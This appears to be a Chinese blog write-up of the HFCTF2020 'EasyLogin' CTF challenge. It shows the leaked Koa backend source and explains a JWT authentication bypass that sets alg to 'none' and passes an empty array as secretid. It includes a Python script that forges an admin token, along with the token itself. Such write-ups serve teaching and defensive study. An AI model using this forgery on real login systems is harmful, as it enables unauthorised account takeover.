• [HFCTF2020]EasyLogin


    有注册登录,先注册一个账号然后登录进去

    在登录页面的源代码发现

    访问得到

    1. /**
    2. * 或许该用 koa-static 来处理静态文件
    3. * 路径该怎么配置?不管了先填个根目录XD
    4. */
    5. function login() {
    6. const username = $("#username").val();
    7. const password = $("#password").val();
    8. const token = sessionStorage.getItem("token");
    9. $.post("/api/login", {username, password, authorization:token})
    10. .done(function(data) {
    11. const {status} = data;
    12. if(status) {
    13. document.location = "/home";
    14. }
    15. })
    16. .fail(function(xhr, textStatus, errorThrown) {
    17. alert(xhr.responseJSON.message);
    18. });
    19. }
    20. function register() {
    21. const username = $("#username").val();
    22. const password = $("#password").val();
    23. $.post("/api/register", {username, password})
    24. .done(function(data) {
    25. const { token } = data;
    26. sessionStorage.setItem('token', token);
    27. document.location = "/login";
    28. })
    29. .fail(function(xhr, textStatus, errorThrown) {
    30. alert(xhr.responseJSON.message);
    31. });
    32. }
    33. function logout() {
    34. $.get('/api/logout').done(function(data) {
    35. const {status} = data;
    36. if(status) {
    37. document.location = '/login';
    38. }
    39. });
    40. }
    41. function getflag() {
    42. $.get('/api/flag').done(function(data) {
    43. const {flag} = data;
    44. $("#username").val(flag);
    45. }).fail(function(xhr, textStatus, errorThrown) {
    46. alert(xhr.responseJSON.message);
    47. });
    48. }

    里面有个/api/flag,直接去访问

    在上面的js代码中,可以看到采用了koa框架

    访问/controllers/api.js

    1. const crypto = require('crypto');
    2. const fs = require('fs')
    3. const jwt = require('jsonwebtoken')
    4. const APIError = require('../rest').APIError;
    5. module.exports = {
    6. 'POST /api/register': async (ctx, next) => {
    7. const {username, password} = ctx.request.body;
    8. if(!username || username === 'admin'){
    9. throw new APIError('register error', 'wrong username');
    10. }
    11. if(global.secrets.length > 100000) {
    12. global.secrets = [];
    13. }
    14. const secret = crypto.randomBytes(18).toString('hex');
    15. const secretid = global.secrets.length;
    16. global.secrets.push(secret)
    17. const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    18. ctx.rest({
    19. token: token
    20. });
    21. await next();
    22. },
    23. 'POST /api/login': async (ctx, next) => {
    24. const {username, password} = ctx.request.body;
    25. if(!username || !password) {
    26. throw new APIError('login error', 'username or password is necessary');
    27. }
    28. const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    29. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    30. console.log(sid)
    31. if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    32. throw new APIError('login error', 'no such secret id');
    33. }
    34. const secret = global.secrets[sid];
    35. const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    36. const status = username === user.username && password === user.password;
    37. if(status) {
    38. ctx.session.username = username;
    39. }
    40. ctx.rest({
    41. status
    42. });
    43. await next();
    44. },
    45. 'GET /api/flag': async (ctx, next) => {
    46. if(ctx.session.username !== 'admin'){
    47. throw new APIError('permission error', 'permission denied');
    48. }
    49. const flag = fs.readFileSync('/flag').toString();
    50. ctx.rest({
    51. flag
    52. });
    53. await next();
    54. },
    55. 'GET /api/logout': async (ctx, next) => {
    56. ctx.session.username = null;
    57. ctx.rest({
    58. status: true
    59. })
    60. await next();
    61. }
    62. };

        'GET /api/flag': async (ctx, next) => {
            if(ctx.session.username !== 'admin'){
                throw new APIError('permission error', 'permission denied');
            }

            const flag = fs.readFileSync('/flag').toString();
            ctx.rest({
                flag
            });

    当用户名是admin的时候,可以拿到flag

    而且在上面的代码中看到,有jwt

    登录时抓包

    把最下面这一段去JSON Web Tokens - jwt.io解密

    能看到登录时的用户名和密码

    HEADER中的alg就是加密方式,把它修改为none,就默认不加密,然后将payload里的username修改为admin即可

    原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+
    payload +‘.’)并将其提交给服务器

    生成jwt

    1. import jwt
    2. token = jwt.encode(
    3. {
    4. "secretid": [],
    5. "username": "admin",
    6. "password": "123456",
    7. "iat": 1649380156
    8. },
    9. algorithm="none",key="").encode(encoding='utf-8')
    10. print(token)

    得到

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

    访问/api/flag,得到flag

  • 相关阅读:
    文件管理系统----文件目录
    qt中弱属性机制
    安科瑞电能计量管理系统
    【Node.js】stream 流模块
    妙手ERP功能更新:Shopee认领配置中的主货号支持按后缀自动递增、Ozon采集箱支持批量编辑【颜色样本图】、TikTok Shop......
    TPU演进十年:Google的十大经验教训
    QT汽车客运公司售票系统(改良版)
    【团体程序设计天梯赛】L2-052 吉利矩阵
    (十九)STM32——输入捕获
    APS排程软件与ERP、MES的集成方式
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/128048031